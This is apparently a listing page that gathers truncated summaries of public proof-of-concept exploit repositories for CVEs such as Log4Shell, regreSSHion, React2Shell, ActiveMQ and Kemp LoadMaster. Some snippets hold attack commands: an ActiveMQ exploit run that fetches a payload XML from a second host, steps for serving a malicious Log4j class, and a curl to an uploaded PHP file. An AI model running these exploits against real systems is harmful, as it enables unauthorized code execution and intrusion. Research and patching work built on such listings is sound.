CVE-2025-52078

🚨 CVE-2025-52078 - Unauthenticated Arbitrary File Upload - Writebot SaaS React Template This repository contains a proof-of-concept exploit for an Unauthenticated Arbitrary File Upload vulnerability found in the Writebot – AI Content Generator SaaS React Template. 🧠 Product Page: ThemeForest –...

CVE-2021-20837

CVE-2021-20837 MovableType XMLRPC - RCE...

CVE-2024-1212

CVE-2024-1212 - Progress Kemp LoadMaster Unauthenticated Command Injection This is an exploit script for CVE-2024-1212 , an unauthenticated command injection vulnerability in Progress Kemp LoadMaster. Vulnerability Summary CVE-2024-1212 affects Progress Kemp LoadMaster , allowing unauthenticated...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 is a critical Remote Code Execution RCE vulnerability affecting React Server Components RSC. 📌 Overview This vulnerability allows unauthenticated attackers to execute arbitrary code on vulnerable servers. The issue originates from unsafe deserializati...

Laravel-CVE-2018-15133

CVE-2018-15133 - Laravel APPKEY Unserialization Vulnerability White Hat School 3rd Term 28th Class Yebin Lee Virtualization - Vulnerable Docker Configuration https://github.com/yeahhbean/Laravel-CVE-2018-15133 Overview This project is a Docker-based environment set up to verify PoC the...

dubbo-rce

CVE-2023-23638 For learning and research purposes only. ZooKeeper is required. The test environment is Java 8. Other versions have not been tested and usability is not guaranteed. During reproduction, you need to add the VM parameter to DemoComsumer: -Ddubbo.hessian.allowNonSerializable=true. For...

CVE-2023-34468-POC

CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC Remote Code Execution via H2 Database RUNSCRIPT in Apache NiFi = 1.21.0 Vulnerability Apache NiFi ships with an H2 database JAR bundled by default. The DBCPConnectionPool controller service can be configured to use this H2 driver. H2 supports a RUNSCRIP...

CVE-2024-2667

InstaWP Connect – 1-click WP Staging & Migration You can use any valid or invalid API Key. overridepluginzip - Path to the zip file which contains malicious WordPress Plugin with a backdoor. Once imported you can access the backdoor via...

redis-cve-2026-23479-check

redis-cve-2026-23479-check Docs: https://docs.dugganusa.com/ You do you. I do me. We share contexts. Your Redis stays yours; the checker reads one INFO line and changes nothing. A safe, read-only version checker for CVE-2026-23479 — the use-after-free in Redis's blocking-client code that lets an...

CVE-2026-2222-MQTT-Broker-CONNECT-Packet-Heap-Overflow

CVE-2026-2222 – MQTT Broker CONNECT Packet Heap Overflow Program Code C + Python // mqttbrokersim.c - Simulated vulnerable MQTT broker include include include struct mqttconnect char protocolname8; uint8t protocollevel; uint8t flags; uint16t keepalive; // remaining length field misinterpreted ;...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Microsoft Exchange default MachineKeySection deserialize vulnerability Installation Instruction: Download using git Requires git: git clone https://github.com/7heKnight/CVE-2020-0688 Download Zip File: https://github.com/7heKnight/CVE-2020-0688/archive/refs/heads/main.z...

CVE-2021-24884

CVE-2021-24884 XSS2RCE in Formidable 4.09.04 Formidable 4.09.04 allowed to inject certain HTML Tags like ,,, and . This could allow an unauthenticated, remote attacker to exploit a HTML-injection by injecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If...

CVE-2024-6387

CVE-2024-6387 a signal handler race condition in OpenSSH's server sshd Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to async-signal-unsafe...

CVE-2025-48932-Invision-Community-SQLi-Exploit

🔓 CVE-2025-48932 - Invision Community SQL Injection Exploit ⚡ Critical Vulnerability Overview CVE-2025-48932 is a critical unauthenticated blind SQL injection vulnerability discovered in Invision Community versions ≤ 4.7.20. This exploit allows remote attackers to: 🔍 Extract sensitive database...

CVE-2025-13486-POC

CVE-2025-13486 Proof of Concept A Proof of Concept PoC exploit for CVE-2025-13486, a Remote Code Execution vulnerability in the Advanced Custom Fields: Extended ACFE WordPress plugin. Vulnerability Overview This vulnerability exists in ACFE versions 0.9.0.5 through 0.9.1.1, allowing unauthenticat...

CVE-2018-9206-jquery-file-upload

CVE-2018-9206 - Blueimp jQuery-File-Upload Lab Vulnerable Docker environment for CVE-2018-9206 - Unrestricted File Upload in Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED Or run the PoC script:...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC Steps 1. Compile Log4jRCE.java and move the .class file to a web server e.g., local PHP 1. cd src/main/java 2. javac Log4jRCE.java 3. Move the .class file to a web server or start a local PHP server, for example: php -S 127.0.0.1:8888 2. Start LDAP Server 1. gi...

CVE-2024-6387

CVE-2024-6387 regreSSHion Proof of concept python script for regreSSHion exploit. Version 0.2.1 build POC Installation git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h Usage 🔒 CVE-2024-6387 regreSSHion remote code...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port of activeMQ. No...

React2Shell-CVE-2025-55182-Advanced-Scanner

CVE-2025-55182 Advanced Scanner Advanced penetration testing tool for detecting and exploiting CVE-2025-55182 vulnerability in Next.js applications 📋 Table of Contents Overview Features Installation Usage Examples Bypass Techniques Technical Details Disclaimer Contributing License 🔍 Overview...